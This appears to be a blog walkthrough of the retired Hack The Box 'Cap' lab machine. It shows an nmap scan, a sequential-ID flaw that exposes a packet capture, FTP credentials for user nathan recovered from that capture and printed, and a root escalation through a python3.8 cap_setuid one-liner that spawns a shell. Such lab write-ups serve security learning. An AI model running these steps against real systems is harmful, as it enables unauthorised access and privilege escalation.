Hello guys!
This week’s machine will be Cap, another easy-rated Linux box from Hack The Box, created by InfoSecJack.
Info
Write-ups for Hack The Box machines are posted as soon as they’re retired.
This box was very easy and demonstrates why we have to always secure communication while accessing services, which was the way we could get the credentials to escalate privileges to root.
Enumeration
As usual, started with a nmap quick scan to list the currently published services.
$ nmap -sC -sV -Pn -oA quick 10.10.10.245Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 20:04 -03Nmap scan report for 10.10.10.245Host is up (0.073s latency).Not shown: 997 closed portsPORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.322/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)80/tcp open http gunicorn| fingerprint-strings:| FourOhFourRequest:| HTTP/1.0 404 NOT FOUND| Server: gunicorn| Date: Tue, 10 Aug 2021 23:04:20 GMT| Connection: close| Content-Type: text/html; charset=utf-8| Content-Length: 232| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">| <title>404 Not Found</title>| <h1>Not Found</h1>| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>| GetRequest:| HTTP/1.0 200 OK| Server: gunicorn| Date: Tue, 10 Aug 2021 23:04:15 GMT| Connection: close| Content-Type: text/html; charset=utf-8| Content-Length: 19386| <!DOCTYPE html>| <html class="no-js" lang="en">| <head>| <head>| <meta charset="utf-8">| <meta http-equiv="x-ua-compatible" content="ie=edge">| <title>Security Dashboard</title>| <meta name="viewport" content="width=device-width, initial-scale=1">| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">| <link rel="stylesheet" href="/static/css/bootstrap.min.css">| <link rel="stylesheet" href="/static/css/font-awesome.min.css">| <link rel="stylesheet" href="/static/css/themify-icons.css">| <link rel="stylesheet" href="/static/css/metisMenu.css">| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">| <link rel="stylesheet" href="/static/css/slicknav.min.css">| <!-- amchar| HTTPOptions:| HTTP/1.0 200 OK| Server: gunicorn| Date: Tue, 10 Aug 2021 23:04:15 GMT| Connection: close| Content-Type: text/html; charset=utf-8| Allow: GET, HEAD, OPTIONS| Content-Length: 0| RTSPRequest:| HTTP/1.1 400 Bad Request| Connection: close| Content-Type: text/html| Content-Length: 196| <html>| <head>| <title>Bad Request</title>| </head>| <body>| <h1><p>Bad Request</p></h1>| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''| </body>|_ </html>|_http-server-header: gunicorn|_http-title: Security Dashboard1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port80-TCP:V=7.91%I=7%D=8/10%Time=611305F3%P=x86_64-pc-linux-gnu%r(GetRSF:equest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20SF:Tue,\x2010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"imageSF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fonSF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/cSF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOptionSF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Tue,\x2SF:010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\nContenSF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OPSF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20textSF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20InvaliSF:d\x20HTTP\x20Version\x20'Invalid\x20HTTP\x20Version:\x20'RTSPSF:/1\.0''\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20TSF:ue,\x2010\x20Aug\x202021\x2023:04:20\x20GMT\r\nConnection:\x20close\r\nSF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20serSF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20chSF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 137.56 seconds80/TCP - HTTP Service
Observing the published page, we can see a monitoring dashboard with some options on the left.

Inspecting the options provided in the left pane, the only interesting feature was the Security Snapshot (5 Second PCAP + Analysis), which summarizes the package count received in the last interval. The panel option redirects us to http://10.10.10.245/capture and right after the 5-second interval, we’re redirected to the summarized data, as seen in the address bar http://10.10.10.245/data/1. On this page, you can also download the pcap file generated during the capture, which can be analyzed by yourself using a command line or graphical tools like Wireshark.

An interesting point is that when I have requested another capture, the redirected URL provided was sequential (http://10.10.10.245/data/2), which implies that we could be able to see previous captures as well.
Considering that the counter is incrementing, we might have capture registered at “0” so manually changed the URL in the address bar and the stats below were displayed, indicating that we had some conversation and possibly, if communication is unencrypted, we would be able to obtain sensitive data from it.

Analyzing its content using Wireshark, started analyzing the conversation statistics (Statistics > Conversations), we can see below, having 3 HTTP conversations (80/TCP) and one FTP (21/TCP)

Analyzing each TCP Stream the most interesting one was the last (stream 3) which, in this FTP communication, we can see the credentials provided for user nathan and the retrieved file notes.txt, that could contain important information to us during this box resolution
nathan:Buck3tH4TF0RM3!

Initial access and User flag
Using the observed credentials, was able to connect to FTP and surprisingly the root directory is at the user’s home directory, where I was able to retrieve the user.txt file and read the flag
$ ftp 10.10.10.245Connected to 10.10.10.245.220 (vsFTPd 3.0.3)Name (10.10.10.245:zurc): nathan331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls -la200 PORT command successful. Consider using PASV.150 Here comes the directory listing.drwxr-xr-x 3 1001 1001 4096 May 27 09:16 .drwxr-xr-x 3 0 0 4096 May 23 19:17 ..lrwxrwxrwx 1 0 0 9 May 15 21:40 .bash_history -> /dev/null-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrcdrwx------ 2 1001 1001 4096 May 23 19:17 .cache-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profilelrwxrwxrwx 1 0 0 9 May 27 09:16 .viminfo -> /dev/null-r-------- 1 1001 1001 33 Aug 11 16:25 user.txt226 Directory send OK.ftp> get user.txtlocal: user.txt remote: user.txt200 PORT command successful. Consider using PASV.150 Opening BINARY mode data connection for user.txt (33 bytes).226 Transfer complete.33 bytes received in 0.00 secs (358.0729 kB/s)ftp> exit221 Goodbye.
$ cat user.txt<redacted>Root flag
After reading the user’s flag, gave a try with the same credentials to connect via SSH and succeeded, allowing us to enumerate the box.
The first thing privesc command to be executed as always was sudo -l but for nathan’s account got nothing. Following with a manual enumeration decided to check if we have read access to the application directory, which is hosted in the default dir (/var/www/html) and is a python-based web app, from app.py file, to which nathan has write access.
nathan@cap:/var/www/html$ ls -latotal 32drwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .drwxr-xr-x 3 root root 4096 May 23 19:17 ..drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.pydrwxr-xr-x 6 root root 4096 May 23 19:17 staticdrwxr-xr-x 2 root root 4096 May 23 19:17 templatesdrwxr-xr-x 2 root root 4096 May 31 16:17 uploadAs checking the functions on the file, noticed that it executes tcpdump, which normally requires root permissions to this task. This permission could also be leveraged to spawn a reverse shell as root to the attacker machine.
To test this, created another route in the app, with a custom path but to be effective I would need to recycle the flask website, not done automatically and this shouldn’t be the correct path to root.
Going a little deeper, decided to run linpeas.sh and found one configuration that could help us with this privilege escalation: there are some files with uncommon capabilities, which were validated later in GTFOBins:
╔══════════╣ Capabilities╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilitiesCurrent capabilities:Current: =CapInh: 0000000000000000CapPrm: 0000000000000000CapEff: 0000000000000000CapBnd: 0000003fffffffffCapAmb: 0000000000000000
Shell capabilities:0x0000000000000000=CapInh: 0000000000000000CapPrm: 0000000000000000CapEff: 0000000000000000CapBnd: 0000003fffffffffCapAmb: 0000000000000000
Files with capabilities (limited to 50):/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip/usr/bin/ping = cap_net_raw+ep/usr/bin/traceroute6.iputils = cap_net_raw+ep/usr/bin/mtr-packet = cap_net_raw+ep/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+epThe most interesting file was /usr/bin/python3.8 that has the cap_setuid capability set, which, according to python | GTFOBins it can be exploited by changing the uid of the session using the command below, spanning another instance of /bin/sh and, from it, was able to read root’s flag.
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'# id && hostname && cat /root/root.txtuid=0(root) gid=1001(nathan) groups=1001(nathan)cap<redacted>I hope you guys have enjoyed it!
See you at the next post :smile: